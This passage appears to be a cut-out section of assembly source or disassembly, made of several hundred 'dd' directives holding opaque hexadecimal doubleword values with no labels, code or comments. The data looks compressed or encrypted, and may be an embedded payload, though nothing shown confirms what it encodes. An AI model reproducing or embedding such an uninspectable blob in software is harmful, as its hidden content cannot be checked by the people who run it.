809F6080h, 4490C8h dd 2507767Fh, 8503016Dh, 9C1DF600h, 1F0EC041h, 9A2003D4h dd 2373EF09h, 0C0AF1CC1h, 0DAF6F739h, 0B86F2100h, 0D7EF95FDh dd 8F961F13h, 3C7CBCA8h, 4F001DFFh, 0EF1E7C80h, 910050EDh dd 95F684A1h, 0E8D23341h, 0F04831AFh, 8CD14030h, 380A3010h dd 9119085Fh, 0E106ECC1h, 3104D05h, 6F20C6B7h, 8FA09A49h dd 50BFADB1h, 0A8746Bh, 1DC4B3EFh, 907C5DC1h, 64A6D2E8h dd 56AFD800h, 39011083h, 0B08DED97h, 0D0D007CFh, 4FF03B7Eh dd 98618D37h, 81904B80h, 9606001Ah, 2046F72Fh, 0B97729AFh dd 3076CF29h, 8479CE80h, 0C026DF3h, 0BBBB739h, 98FF25D0h dd 6F60A340h, 1DCB03ECh, 916616EFh, 1EF6D2A0h, 0BD244F00h dd 4B0C2F95h, 308E820h, 722190C2h, 24A004C7h, 1E2987ABh dd 2D813CC5h, 6BA828E6h, 647C5700h, 0C0468C0h, 5009EF96h dd 765B056h, 803E87FAh, 0C38F80CDh, 0EF2926DDh, 398328CCh dd 0B580A343h, 50779402h, 0F7F480F5h, 622F231Ch, 288F08FAh dd 6A079C8Fh, 97EFC009h, 0AF0F22F8h, 80198331h, 8F1EA753h dd 0CFD0FB06h, 1C49C0D8h, 522F226Ch, 0F0F02E63h, 33181EF1h dd 850F0063h, 75419111h, 1939B05h, 0E8075309h, 74F6D87h dd 4181546Eh, 0D0434372h, 94078D4Ah, 0E1C332C3h, 9E80B030h dd 98CF50D2h, 130C3FDh, 0A1A067BAh, 93098A3Eh, 36DDF21h dd 187AA350h, 0B0AEC108h, 910C065Ch, 8054761h, 685E6067h dd 0C19386B5h, 86102E6Eh, 4808588Fh, 4F14802Fh, 3174F483h dd 0D4D8FDA9h, 0BEC441ACh, 38C041B3h, 0E1E88C3Bh, 62ED20A6h dd 0B418F0FFh, 0F49C3C40h, 0DAE10C4h, 3F8E1883h, 1931AF40h dd 0F00E3210h, 0CC09400Fh, 1E4F1Dh, 0D533CF20h, 0D8AF249Ch dd 0EB3A3A24h, 190F18F8h, 0C2C670C1h, 248048C9h, 0CC918D40h dd 8922BDFh, 81CC04ECh, 0A17880C9h, 10DF3C65h, 0BC051852h dd 0A00CA923h, 48611092h, 0BE0A246Bh, 18B8F25Ch, 3B8120CFh dd 0BC103662h, 0B68C83F9h, 8E7810FAh, 10BE37EDh, 2FACB340h dd 3373244Fh, 814800E8h, 2BEF0F22h, 0DCA5B090h, 0BD5D3D02h dd 398D600Dh, 0D4585017h, 98C83A4Fh, 0F9540F0Ah, 0F3670CA8h dd 2E60F5F0h, 96102268h, 0B8C050AFh, 57AE314Fh, 0F0DFFAA8h dd 53630C41h, 0E77920D8h, 2891C184h, 0C097546Ah, 5F9AE015h dd 2306848h, 0DE87DC28h, 0FE2C4088h, 203263C0h, 85D42BEAh dd 0E11C032Bh, 183370D8h, 0DF410824h, 0C619CC8Ah, 2A71CFB8h dd 0A22CB401h, 2A70892h, 8834C134h, 883F7841h, 149BC809h dd 8F0CDCDBh, 3908FE72h, 9007EF80h, 0C22F373Ch, 9E086E0h dd 0F0028031h, 892E79Bh, 201F2Ah, 0F1DBD58h, 48C9C1FBh dd 6F1C02CFh, 0A7B8E3B1h, 48186456h, 0F196420h, 0C29A61D7h dd 201F6049h, 6D666A70h, 249819D0h, 871CE701h, 83911B4Ch dd 0F824A93Dh, 0AF04645Dh, 0F884931Eh, 27382CCAh, 68455E9Eh dd 0F03726ECh, 96CF1E2Ch, 67280A07h, 284F13ECh, 0BF09F678h dd 820C059Fh, 636DD750h, 10BEE144h, 500B3460h, 0B09EA80Dh dd 0DF6F290Ch, 34108E20h, 10A6BC0h, 0D5001ED6h, 0CC76CE06h dd 0FBF03Ah, 16E6C629h, 698CA165h, 0D62E6200h, 7A2354BEh dd 98111E96h, 356B47CDh, 0C0AAD4CCh, 0C2A6B6A9h, 0FCF6F100h dd 40167A90h, 56CE3809h, 1F745ABCh, 3979313Ch, 7836E8F5h dd 687E004Bh, 287CBA0Bh, 7F0E8077h, 9EA7A5E8h, 6810D218h dd 1F6F7C76h, 775AAA8h, 0C15E6D48h, 0FCF98408h, 0FB74DDC5h dd 8C8E530h, 0F8FC4F45h, 2B7E1E25h, 0B18AC07Fh, 99C9487Ch dd 0A116F108h, 0A8FF0FA6h, 588CB600h, 0E920887Fh, 12093355h dd 100C8770h, 88A3AE8h, 9D8C40FDh, 76793503h, 0A17A2A99h dd 0E08A29B7h, 0F90D710h, 0D683D8DEh, 181F2E9Dh, 36066773h dd 32F847B6h, 0CE083AC7h, 0DDF68881h, 24209813h, 63D55608h dd 0D240184Bh, 5467B6E0h, 0C6EE8280h, 68EC1658h, 18C453E0h dd 6D041399h, 0E15D0654h, 489C6F10h, 0F2E94000h, 92070A76h dd 9F21F67Eh, 5B44D640h, 6612E8F1h, 308A9038h, 8C53B628h dd 2282F60Eh, 2FA3C77Ah, 69BC4841h, 4749A840h, 50DFF07Eh dd 0A0A29464h, 7C87E8F0h, 786DF073h, 26881F2Dh, 0BD1E3968h dd 0C9280C20h, 4A003311h, 0C8A0E87Eh, 7439B6CFh, 5C967372h dd 0FC182BF4h, 5F2B08C6h, 0F8F2B480h, 0BF0503F6h, 321756CDh dd 0EC4CB01Fh, 43E42843h, 5CA3F1h, 98EDA810h, 96A236CCh dd 0FC5056E8h, 0E602E8E8h dd 0BAC8EB27h, 60880077h, 4D3C287Eh, 0D40474A8h, 0D696EB0Dh dd 0E234849Ch, 3FBE02CBh, 0D7DEDAD0h, 0B3FF1098h, 0F8AE6610h dd 0A80D7E14h, 3530B63Bh, 0CF7862A8h, 1CDBD629h, 184808BEh dd 109E81E9h, 0C7D6CE05h, 67EC0CD5h, 0AB057638h, 0D4C8F28Ch dd 52402037h, 80CDA4D3h, 3748AC3Eh, 770C141Ch, 90802A98h dd 0F0EBCC31h, 8A3753Ch, 0FDAD0F44h, 5E49FACCh, 1328B73Bh dd 0C04D8F6h, 0C81DB36h, 102524D6h, 18BF2018h, 0C9F48586h dd 0FC3E52FEh, 14C529CDh, 0A7058287h, 1E02CB64h, 0BC826EF9h dd 0E840A563h, 0F8909A8Bh, 18884E32h, 0F6D84134h, 0D67840F6h dd 0C1D3EDA2h, 9043ED12h, 241924B5h, 11AC9990h, 0AB9601D4h dd 2B68420h, 0C87E44EBh, 5041416Ch, 16C020E3h, 90369124h dd 86E2E109h, 0F410F858h, 12509864h, 5076676h, 5F3174Ch dd 38C455E0h, 5F1102E4h, 0BE0CAC6Fh, 1BA8D8CBh, 32C83450h dd 8514B6Ch, 211F2436h, 8021A90h, 0EC4CC816h, 87F51287h dd 5067384Ch, 52061476h, 0BBB0C0CFh, 0F20C2FFh, 337E263Fh dd 0D2360A4Ch, 8E276F14h, 9E86086Bh, 20A813D2h, 0A2303C70h dd 0E730F051h, 820AEC0h, 0E9FF20FCh, 2013E89h, 4776D634h dd 8610812Ch, 1287F20Eh, 0B6DC811Eh, 0A44E728Ah, 4BA06C1Dh dd 380465EBh, 2C68D5FEh, 0AC1C3224h, 2D96521Ch, 8A6009h dd 7D939698h, 0D15624CFh, 74B6069Ch, 0BD41D0A3h, 98F711E0h dd 1E0A558h, 94A6FA6Dh, 0B2BE0133h, 285679D4h, 5BCEF6Eh dd 0B6730459h, 0CAC1FCBh, 0D5186586h, 26082C65h, 4B0DA01Fh dd 0C0C2083Eh, 92C9D608h, 1058E4h, 4D64A813h, 0E108CD80h dd 8461FE74h, 28983073h, 706A462Ch, 0C62A108h, 0A3203E9Eh dd 5B0F10DFh, 25131F45h, 2F16BC49h, 9E43AF24h, 0B91F6113h dd 4508DDD8h, 8868C6E9h, 851810D4h, 99805B3Bh, 3E60CCD5h dd 28DE8209h, 6044880Ch, 0C01B48AAh, 0E538CF30h, 40DC2189h dd 0EDA50870h, 3910C42Ah, 42D88323h, 0CC61A086h, 60318810h dd 39624889h, 71F2BC02h, 18417003h, 0C0DF8918h, 38CE2EA7h dd 401990A4h, 51CA3030h, 9BB72880h, 0B938D108h, 0F047F94Ch dd 3640FA17h, 14C0DAB2h, 0F86C5176h, 8722E19h, 5FB8640Eh dd 0D958C0B2h, 0DD161840h, 62D3D608h, 0FCA6108Fh, 1B0E8040h dd 2C244C90h, 0B30C2428h, 63301826h, 0E2E628FEh, 395E2013h dd 56091C18h, 2E1490B1h, 986C9536h, 4AD6086Dh, 88309CB0h dd 0F396A039h, 315CB0AEh, 5C0F661h, 0EC97E3B6h, 0F448DE11h dd 0BC86E0ECh, 14EE3C99h, 0BA24044Ch, 0BB142340h, 459CC304h dd 947E031Ah, 0C9A0294Dh, 2CAA8F14h, 112A424h, 7A907D9Eh dd 1534050Bh, 2C88A7E7h, 0D628C27Ah, 2C943811h, 0BBE77E0Ch dd 505E8163h, 5496A080h, 4808A45Ah, 8524942Bh, 11E80410h dd 8E4D616h, 0B4A3D0F8h, 4A46DC3h, 98C13B08h, 1430C543h dd 0F09B74A4h, 24E0B0E1h, 9941928h, 4805A5C8h, 28C8A65h dd 7885E9CEh, 0BCFE0130h, 802433D6h, 3724D5B9h, 1EB8C31Fh dd 881323E2h, 880649F8h, 4838212Bh, 0C66BD4AEh, 0AC43D020h dd 1D0336CDh, 0B176C90Eh, 1CCBA50Ch, 661D653Ah, 0BE3AE02Ch dd 24C48AFh, 0B6EB0FE2h, 2844E0D4h, 0C08948Ah, 0A601B27h dd 0C881E65h, 0CAB68404h, 429668C0h, 0C0B499A8h, 9DA144B4h dd 20DE3440h, 901658Bh, 0D6C87930h, 90CCC0E5h, 0E1A8A06Bh dd 749C90D1h, 0C3F499D2h, 0BDA9BCA5h, 7EB03014h, 90240531h dd 48D05E44h, 0C0D42995h, 0E86660A8h, 0FD594557h, 0FC0F2A30h dd 5708A4FBh, 7C768837h, 8124A578h, 0E36F3C5Dh, 3E789309h dd 18CBD428h, 21577A39h, 32481A5Eh, 0C34C0914h, 36065CFh dd 0DC0CC9A4h, 23FE310Ch, 296EC82Ah, 60D8CFCAh, 51E7A1B4h dd 891E31C0h, 4D76F1A8h, 7312BCEAh, 8C24381Bh, 0B2603B71h dd 0DB41BE39h, 6DB62EF1h, 4DDBA24h, 831C7F29h, 732FF10Bh dd 45DC41DDh, 3036EB01h, 0F8B97EC7h, 5105F961h, 0F42503EDh dd 24EB02F8h, 0A150D3F6h, 6D3D40A8h, 31C76F2Bh, 8E2B389Eh dd 8557CEA8h, 5C939516h, 88A043ACh, 31849400h, 0EA7BEF8Ch dd 83016200h, 33AEB40Dh, 22FE00A9h, 4CCADD1h, 3E05A8DDh dd 7127F869h, 578D1C01h, 0D4102B12h, 6B8103E6h, 0E7144Ch dd 8254BE1Fh, 62740D8Eh, 60ADEB21h, 0CC7328E3h, 60500C6Fh dd 7EA9EED8h, 29078E74h, 0A36589DDh, 0E6340D80h, 0ECA848DCh dd 0CAEF900h, 0BE25BB2Dh, 0F1C7153h, 0A043DB56h, 5401ECD7h dd 0B0FA63BDh, 800FBBFh, 6C178F82h, 56AD197Ah, 0F51E3CDEh dd 0C935D889h, 0F700C3F4h, 92A73EA9h, 0A66FAC17h, 0AB4E0618h dd 0A8A2A993h, 31971430h, 5618C599h, 0FF0350ECh, 0A6C7BA92h dd 6AB43014h, 0E5BC010h, 80ABB6AFh, 220CD6D4h, 8819EA8h dd 0D013611Eh, 8F38CADEh, 27F0808h, 37039Eh, 0C179ACFh dd 0A84BA003h, 0E0FF275Eh, 7BEB01Eh, 26909E25h, 3066C5ADh dd 0FF394A3Ch, 74F4E354h, 603A8233h, 0FE081B44h, 9EC2680Eh dd 1CECA080h, 81E81A7Ch, 4C18B207h, 0FE11A80Eh, 0E8410ADAh dd 689DE023h, 8C1A8599h, 709C2878h, 0E91FA837h, 1D80B8B3h dd 298D9168h, 9C0B60ECh, 0A44908A1h, 0B4892808h, 84939E28h dd 80A41E52h, 0B98592D8h, 54E4A043h, 1690A2A9h, 11207CF8h dd 35F1492h, 1EAEEEEFh, 885852DCh, 0A21DB9C1h, 3040C6C7h dd 8812C514h, 74280C18h, 45C80C7Bh, 0B4585C14h, 18132A05h dd 1430C26Ch, 315D2903h, 0D450D509h, 0CC289523h, 60AA8054h dd 834B4C58h, 190956F8h, 9B604891h, 6F07F79Ah, 0FF652844h dd 0F8D0105Ah, 6AE3C6A3h, 7838DF83h, 18870A34h, 0AC0142Ch dd 244EC7BEh, 1FA8EA10h, 407829E0h, 2C6AF55Ch, 1EBA102h dd 9488BCF4h, 0EF430564h, 4560C412h, 283EA0A0h, 0A918DA3Ch dd 0B451631Dh, 21970465h, 87D06F5Eh, 3CCD0034h, 7A7CE7ACh dd 0B3A40C19h, 5021DC48h, 1F85781Ch, 20093311h, 3F1D403h dd 50C2DE26h, 74D1AC58h, 0E109413Ch, 5E9030D3h, 4C34EE24h dd 0A849FB00h, 0C7196DEh, 7CBC6C21h, 36248808h, 0E05B7018h dd 92D8E5C3h, 22741340h, 902038A3h, 0B97D7F72h, 0ECC5E8DEh dd 0B02C1A6Bh, 18740AFAh, 89D86580h, 281C2CBBh, 9082E40Fh dd 281E9A5h, 6729C47Ch, 0F3DF0144h, 57ADF124h, 3881F5D8h dd 0D9195FECh, 1429F622h, 0ACB082EEh, 16B4A2C5h, 5880822Eh dd 10CC704h, 0F4B46CFDh, 0CE51075Eh, 91E80506h, 57012451h dd 0E9C850DCh, 71C173FEh, 26020ED4h, 75ECDF4h, 16117BF8h dd 24936004h, 29F85BA7h, 193DF901h, 5173F74Ah, 29D10BF4h dd 1418CEh, 0ACB6B0CBh, 0D3E44CF7h, 0B019BF0h, 1682A011h dd 184CC8F1h, 1AD007Bh, 0F321290Fh, 900540B3h, 17B5710Bh dd 0CD1F1421h, 0C4FC45ECh, 5D91358h, 2830C4B1h, 781755Ah dd 0F74BAEE1h, 169521F3h, 413C0A91h, 0F0097788h, 96615300h dd 8ECC1116h, 33DAAF3Ah, 8933F970h, 645C170Bh, 29CA0DE2h dd 0EC50E066h, 0B00B0E3h, 2C066791h, 0A5A9B6B1h, 3A230144h dd 0F1810Fh, 809F9773h, 30CDA4BBh, 741C10CBh, 3F6A153Dh dd 0D301886Eh, 0FB06E57Ch, 11304CBBh, 9F37C008h, 0E2B30AD8h dd 0A4B100C4h, 0B0511AB7h, 5B021C0Ah, 0A06030C7h, 506B3384h dd 0B13A4B6h, 0B11B0D64h, 0F8C005DDh, 0E63B4860h, 81A0183Fh dd 357D101Fh, 0C8FB0418h, 77B2A909h, 3F9100A8h, 0DAE7ED09h dd 20C06C6Eh, 88D9DB64h dd 0A54D042Fh, 80C1F563h, 0F3A20489h, 9C003577h, 607905DFh dd 1452EAAh, 0F428ACEDh, 93469036h, 0B2F8A860h, 765FE600h dd 625937E8h, 21C03BE8h, 4AB51388h, 0E37B004Ch, 3D93AA79h dd 77FA2CB9h, 1E35344Ch, 6800B1EAh, 28AF1F87h, 7354A41Ah dd 8AEF00ECh, 0D6391791h, 0D500DDBEh, 4008BA31h, 7A9EC7Eh dd 30D288A8h, 0BB07900Fh, 7AF0DB59h, 0F165C70Fh, 622F800Dh dd 493C12h, 0DF1002B1h, 7CC60B4Bh, 0CBFEA70Fh, 0D9F58044h dd 30564D4Fh, 0C0787D58h, 10080E9Ch, 42BA3201h, 0CC000FE1h dd 39BC89FDh, 96804BB4h, 46E5841Fh, 5F00E390h, 16BB8647h dd 63EE6Ch, 0C65BB145h, 2B6F0265h, 856AD700h, 7C9B925Ah dd 9E5300E1h, 0D17140C1h, 0E80E4FA5h, 40BB3229h, 103B47DDh dd 1BE0A8h, 409D3A3Fh, 22C37CA3h, 0E8B1060Fh, 9AA0A078h dd 1D65052h, 8BEAF545h, 0D8B6FDD2h, 9818AA27h, 0C982C2DCh dd 241213E8h, 0F26D001Fh, 0CDAA26E4h, 90719B00h, 2BDDE689h dd 533B0223h, 63646951h, 0C8E3BF40h, 19002A79h, 0F09650A2h dd 1F066127h, 0C09C9913h, 0DB9F7DB5h, 0C973F457h, 0F52E2800h dd 0EBC5FF34h, 39ECDDh, 0A414B176h, 0B9F2B65Ah, 49959730h dd 0E7805B7Eh, 0E2D7ECh, 47484C59h, 0B71890A0h, 4B2C8870h dd 0E6002680h, 3C1E22E4h, 1A93AEDh, 5AA08480h, 1C992D10h dd 0C297D418h, 64ED518h, 0A99DE1E8h, 0AA00685Ah, 7DF32865h dd 73313BCh, 0B567DAE9h, 20AD4026h, 40F540EDh, 14496D88h dd 4FF440h, 27EF1365h, 0BFC31CA6h, 9915C800h, 48E9558Ch dd 7B2E037h, 546B7E17h, 0A8205F90h, 4A6F8BA6h, 0E450B500h dd 0A3C53CF1h, 61C71F25h, 0FEE2402Fh, 292417DCh, 0A20AE005h dd 46C4DE9h, 778900ECh, 76A8A662h, 5A1FF2B5h, 807D5F2Fh dd 0A9D5AE3Eh, 0EF3F8CAh, 9D99A456h, 0B2003A1Eh, 48AEA65Bh dd 0CE010E04h, 0C1F418E0h, 64D9C942h, 0D775F0h, 6B49E2DEh dd 70FA35AEh, 2EF90400h, 0DD33EAABh, 30EB7409h, 1A203BC7h dd 0ED739267h, 64023601h, 0C2F2159h, 91D824C5h, 0BBDB07A3h dd 0E0795241h, 8FC220C3h, 0B0455528h, 6ADD6E00h, 70C76F51h dd 0BA21F7E1h, 6254C8h, 0F368D574h, 8ECF9AAh, 91FA0100h dd 5B5925DAh, 7C7C7Fh, 7B976419h, 0ACCF5558h, 0BC47F81Eh dd 0A6374980h, 1FCB46h, 57A98F6Eh, 123C67E2h, 0BAB58E00h dd 68381C19h, 0E1F400CBh, 593A8818h, 0B20CC29Eh, 8955B108h dd 0EF2D04B0h, 31ABC36Ah, 0CD00D9AFh, 0B0073A9h, 6A5FC461h dd 733CD8D4h, 803350C9h, 0BF550086h, 384734BBh, 6201824Eh dd 0DA139722h, 88C9AAEh, 0B2205973h, 0FA6D6A1Ch, 3ECB7E00h dd 90523082h, 0DB6300E2h, 42885846h, 2F1EC55Bh, 3600472Ah dd 0C432B80h, 136F07DCh, 40687FECh, 58400176h, 4C993Dh dd 520D5D6h, 0DD02B4h, 0F84446B5h, 42DECE9Ah, 0D625B8A8h dd 1851D400h, 4315A585h, 34C0542Ch, 0EC2B0249h, 14A6A4F5h dd 0C02D5710h, 39C62020h, 44F8CBD2h, 6B8EAD06h, 21B05974h dd 81BDDB17h, 5E118F3Ah, 390A14A1h, 0FB2B8795h, 803E5522h dd 0D93EDAC5h, 0C3E00010h, 9FCEECF7h, 5E3A8370h, 6FFF80D3h dd 0E4F809CFh, 0A423548Ch, 17641C78h, 195A4FCBh, 0A82C2281h dd 0BF97E8C3h, 28C02DE4h, 5EF51EA7h, 0E1D704Eh, 0FF0E442Ah dd 5620138Fh, 0FAB58134h, 7ECD4B00h, 259BCC60h, 5BBC0C17h dd 9468C2D0h, 0C3ADB800h, 7BD3E783h, 72B02Dh, 0E82617D4h dd 362FF8D2h, 6B607300h, 0AA91AF6h, 515F0145h, 0DA153AE3h dd 0CE25E8A6h, 0CCDB420Fh, 0BAAFA1CBh, 0B8D347DEh, 0A9988Ch dd 0B7437507h, 63A7C58Dh, 501DE3ECh, 0A6011792h, 714B8AC3h dd 78EBBD4h, 6501D296h, 0A3E20B7h, 0A739FB7Ah, 0B8F93E08h dd 0C5A90089h, 4131B5ECh, 1886E615h, 8E35E5Fh, 851EDEF2h dd 0EF004CC5h, 0B364F4EDh, 14CD0312h, 0FB539AC1h, 0BB76F580h dd 40900D00h, 308F660Ch, 0B9BFAA5h, 1B16D050h, 3F725A80h dd 401D490h, 0CA541C70h, 0D5D029D1h, 0B5030053h, 0D3FB7999h dd 7C00FA16h, 0D62D6D25h, 7A6C80h, 8ED8AC86h, 41C09068h dd 0BAD58A0Fh, 8CEE60DFh, 0A926218h, 966B1494h, 53E500B5h dd 36703CBAh, 1831213Ah, 0F920A062h, 0D5B5006Ah, 6487F4B8h dd 2A3B3878h, 94600061h, 534D4108h, 0AE7BB0h, 0DE18C902h dd 0E152712Eh, 0B5FBE403h, 0C9C37492h, 99C41270h, 0FD0D0095h dd 39B0945Eh, 4D0092B6h, 281A524Bh, 3859D3EFh, 5C009BDEh dd 0FF73A06Eh, 0CE0C8653h, 3034695Dh, 1CDA7166h, 5ED24D04h dd 41C1804Fh, 5CE0DD20h, 902EC228h, 0FBAD7F00h, 0D9B25D99h dd 0D45407D2h, 7033DCEBh, 0F228D5A7h, 517DE600h, 4A34C579h dd 5CE90A94h, 80C01F63h, 4EAEFB9Eh, 0BD852618h, 3F956B80h dd 83A38E6Fh, 11C25Ch, 0CC120F07h, 0A5A63Ah, 102B0C85h dd 0E753780h, 0D2D250Bh, 11A5002Eh, 478443h, 4E12149Eh dd 7D348FF2h, 327A6605h, 0B400CE83h, 799FE54Dh, 0A3710381h dd 0FC53D4Bh, 1AE8A01Fh, 972C7500h, 0C37BF3h, 0E1B4FEC9h dd 0A960AA92h, 6EBE1418h, 0F6660h, 234E8FEAh, 9C845B17h dd 0E54F430Eh, 0ED9FC0ADh, 57B0B7h, 42C38EDBh, 1492B499h dd 0F250F100h, 736A4421h, 3061000Ah, 0D41D063Ah, 0CA51ED70h dd 79A881F8h, 1E166440h, 0F7E03883h, 3488486Ah, 0A41D7E5Bh dd 6C8246DCh, 409024B1h, 49517FA5h, 5E9C7855h, 78548495h dd 81F83727h, 0BBFB63FCh, 0CCC8EF3Ah, 9F0A3FA9h, 0B446BF92h dd 40737E0Eh, 0DCC9ACD3h, 16100C6h, 318A193Ah, 50001D62h dd 46FB2734h, 0ECBEA203h, 16A31ADAh, 794020A7h, 0DD00D295h dd 0CF7EBD99h, 4D0114h, 0B33B0D93h, 0FAD447F6h, 0C3905C00h dd 0A0740CE5h, 64300C5h, 61CBC7BDh, 3D176240h, 6C0FDC70h dd 83758B4Ch, 0A318FAF5h, 3B410074h, 8F1D9E69h, 6C00D39Ch dd 0BF91DF09h, 0FC97B6h, 0C023901Fh, 0F9FE9A65h, 5B795C07h dd 31C0A557h, 0B7A602h, 455AFD06h, 0B39C71CDh, 3D66DB1Bh dd 4AEB9820h, 51EC46h, 7B731121h, 7E6FB252h, 2BFE580Fh dd 0C9C92CA5h, 2F060114h, 3169485Eh, 0FC74C5A8h, 7F00C734h dd 8CFDBC43h, 78DA647h, 0C077AEA7h, 0C790C3A0h, 81E7F3A0h dd 1148F167h, 2604DEF0h, 8AE00C31h, 30082C36h, 0F19088A0h dd 97D94C00h, 438BFD9Eh, 1FBE01CCh, 198F3772h, 7800EFA9h dd 0F7864DD8h, 98319Ch, 0BC99DAFCh, 16F3E3C7h, 43CBB106h dd 4E8B652h, 730D1062h, 50D5C791h, 0D181BA1Ah, 8B164E00h dd 9A4F6FF7h, 58C850D7h, 0C5028CEEh, 6922A9D8h, 67E418DBh dd 8E3A80h, 66CF6E53h, 0A4B415C4h, 0F300F8FCh, 0FDE6C7EDh dd 511C3D5Bh, 9AE4A4CDh, 0D4D0A86Ch, 535400F4h, 6F27D175h dd 5C77D318h, 66E31E00h, 356DCAB1h, 0D86554F6h, 1003008Fh dd 0D5D0D3B9h, 501875AFh, 0B33070FAh, 7F112842h, 0C1A90088h dd 67ED6D59h, 263823CDh, 0FF3B0146h, 5E91DA05h, 0D8004047h dd 12620A6Dh, 3254F261h, 0FDE01180h, 7C9060DEh, 0D30080A5h dd 0C77D5E81h, 0F6AA0475h, 0C003E16Ch, 0A0C5B32Ch, 4ECC0806h dd 0B0907EE7h, 878200DCh, 0DECFD0B8h, 0E0003718h, 29EFCE2Ah dd 0E0E72E4Ah, 946600BAh, 0FF799BA5h, 59544563h, 95042448h dd 0D9B8DED3h, 681E9C2Ch, 0CF80255Eh, 0FD4115D0h, 0BB7300B8h dd 4E4BB67Dh, 5A549E61h, 79006D28h, 0FD04D360h, 2BB2B4h dd 8D78B536h, 0F20374DDh dd 0A906D771h, 886F6810h, 5520719h, 0F0189C5Bh, 60072C0Ch dd 0CE0C4C72h, 0F42956C7h, 0D96F1830h, 0F03430A0h, 0A464F00h dd 0DE45BE64h, 94EF0076h, 0CCD19EC2h, 5E00D7FAh, 0CF6C4703h dd 15D0D69h, 282D8F8Bh, 0D4BB59E9h, 106FCB4h, 4F4554D0h dd 0A310189h, 65C7D951h, 710BDACh, 50B3D530h, 0CCEF87C0h dd 1E2A7416h, 0C00C3839h, 6CB0853Fh, 12787235h, 0F69F40C2h dd 44E1019h, 2121D673h, 1F1B919Eh, 7FC047EDh, 3179AB98h dd 0A4115094h, 271204D9h, 0C70BCA2Bh, 3BA72044h, 0BC75D0C1h dd 0A948F5F6h, 0DD940F49h, 0B06C80EBh, 22BD5Ah, 2CB19A59h dd 0E0ABCAC3h, 0D5F73B00h, 5482376Dh, 0C2E10D5Fh, 0FE813ADFh dd 0A0E1E357h, 9EA101h, 6DA00667h, 8DCB7A36h, 4F004AF8h dd 83D3A305h, 0F65375h, 0A2A8CDD0h, 5D5B7785h, 43C798A5h dd 0BD376098h, 7600416Bh, 60C13E6Eh, 0B9A002h, 0CDE57BA2h dd 0B22B944Fh, 6DEBD607h, 0FD805003h, 7AF8CBh, 8F305BD3h dd 8EEC3EDAh, 9C6D1228h, 0B9A5Ch, 0EFD7B146h, 2866DC7Bh dd 2EECAB01h, 20CAE415h, 77D83B98h, 0CFE02CD3h, 0E30F93F8h dd 67424ACEh, 77F15BC1h, 0DC534576h, 0A603B8FCh, 0E9FA00BDh dd 8E46060Fh, 0AC01571Ah, 7260BFC0h, 15D09933h, 79A4856h dd 89054006h, 8000101Eh, 75772C55h, 399C646h, 9838DA1Bh dd 9AE8EDAEh, 8F004DDBh, 8B14F911h, 0E42F4EFFh, 71E000D9h dd 758E5BF4h, 0F3F090CFh, 36FB500h, 838A8D41h, 9DD41DACh dd 9B530C47h, 7F00A720h, 0B94685BCh, 3F8E3121h, 0D103F6D9h dd 82C31E45h, 6713E098h, 76BD3A00h, 0DAD333FBh, 0AA0900E7h dd 9ECFF51Ah, 5501A6BFh, 3CE868EEh, 0C881202Eh, 0D9170AE0h dd 1E88061h, 46E45C07h, 6C79006Fh, 0D808A984h, 0F8E85344h dd 74216300h, 0F21DE1BAh, 0C5E73DFh, 0ACA61CCDh, 4F00F9F8h dd 0AE3D0EC1h, 3CB1D9B3h, 680D49Eh, 0B07ADE1Eh, 3A002A04h dd 6773C53Bh, 0C0E361h, 0D73EBD8Dh, 0C2AA5F7Eh, 90FEA860h dd 93D0F4h, 3D04298Bh, 34968FF7h, 0BEDFFB00h, 0C08ED39Fh dd 23A60072h, 719D83A9h, 39035999h, 0BF1BBDB2h, 98E028FDh dd 8A6A1DA7h, 263B80A1h, 495CCCA2h, 810086F2h, 62880796h dd 735624h, 0BBDFFEADh, 9F223799h, 4E42CD15h, 2F6605C4h dd 0F001E830h, 2BA61921h, 4996E0h, 0D5C42A51h, 54D31DDDh dd 1632C098h, 41D2396Eh, 6D871FFh, 0C0FCF41Ch, 0D457DD98h dd 4B00CE4Fh, 65087828h, 14FD200Bh, 41FD710h, 6A224081h dd 5E20C1C1h, 34089A0Ch, 24600030h, 955A567Bh, 0D200CFADh dd 0A6B243A7h, 304075A3h, 0A419961Fh, 45038E6Ch, 0ACC9630Bh dd 0A99B88BBh, 86642C0h, 95BCF6B1h, 66141818h, 0F4100CFBh dd 0F00D8E6Bh, 20802C84h, 0FB297DE1h, 864E801h, 18F55078h dd 0C3218660h, 9F3C087Bh, 847CEA42h, 0DD30380Ch, 7FF82AE3h dd 95891800h, 570F34EAh, 0FFBE10D8h, 0A0AD10AEh, 0A89B930Eh dd 0B5DF8B40h, 21007915h, 0C94CC58h, 0F85DE17h, 9655CEDCh dd 0A62A5420h, 0AB2C3C0Eh, 0DB00ADFCh, 7203B90Ch, 0F45F0E75h dd 53801593h, 0C5DC84A3h, 0E883F700h, 0B1858063h, 0EDAB008Ah dd 0F4781DB3h, 8800B4ECh, 0D80DD31Eh, 0A0475Ch, 0F7B9E775h dd 0F0310C5Bh, 0CACDA40Eh, 2AC580F3h, 0F232CEB3h, 0FC470062h dd 163C081Ah, 0DA74582Bh, 0C4C1052h, 0C1EEEF67h, 0C40D019Fh dd 894A2852h, 91C6038h, 49A9EC1Ch, 0F81C7BE4h, 78226607h dd 63DC4670h, 0ADA3009Fh, 994EECC7h, 0D11E76F5h, 3FC08AB4h dd 44FCA8AFh, 1CF956D6h, 0F3A20110h, 7F619089h, 7F77ABBh dd 3C711BAFh, 8BC94066h, 0CE003936h, 6A62B013h, 56899C5Ah dd 0D400C028h, 0CAA6272Ah, 0C02EDA3h, 72C3F761h, 0A0148F1Bh dd 0B655E493h, 544E803Fh, 25FD5300h, 7386898Ah, 1447E8FEh dd 5C4AAA5Ch, 4900248Bh, 0ECC32BB0h, 41B4BA00h, 0E9E1E2EDh dd 9EDF00DDh, 68025DE5h, 0D53C4459h, 60B11327h, 97761B00h dd 6EDF22h, 0B8E6E8F9h, 27E208C4h, 0AF1C71EAh, 0C7015F90h dd 28DECDDDh, 1001445h, 8DD78F55h, 29AE1C10h, 47350096h dd 61692B76h, 38442F3Ah, 0AE0070DEh, 84F29701h, 1D9880A1h dd 2ED3CCFh, 0BE8647A7h, 0E80A589Fh, 3A584CF4h, 0B8362C9Ah dd 4D7C0118h, 40858DD1h, 0E6E12FEAh, 84B06E7Dh, 0D30F731Bh dd 0E36BB110h, 0C234180h, 189675Fh, 31C0B77Bh, 0D0D4ECA2h dd 569500CFh, 0DE522E02h, 75009F62h, 2B1E3405h, 0E1FAC5Ch dd 29B7DA3h, 6B570FBEh, 86642D60h, 54067A74h, 0A0237590h dd 0E884C01Eh, 97D0E652h, 0F4459500h, 9DFA41Ah, 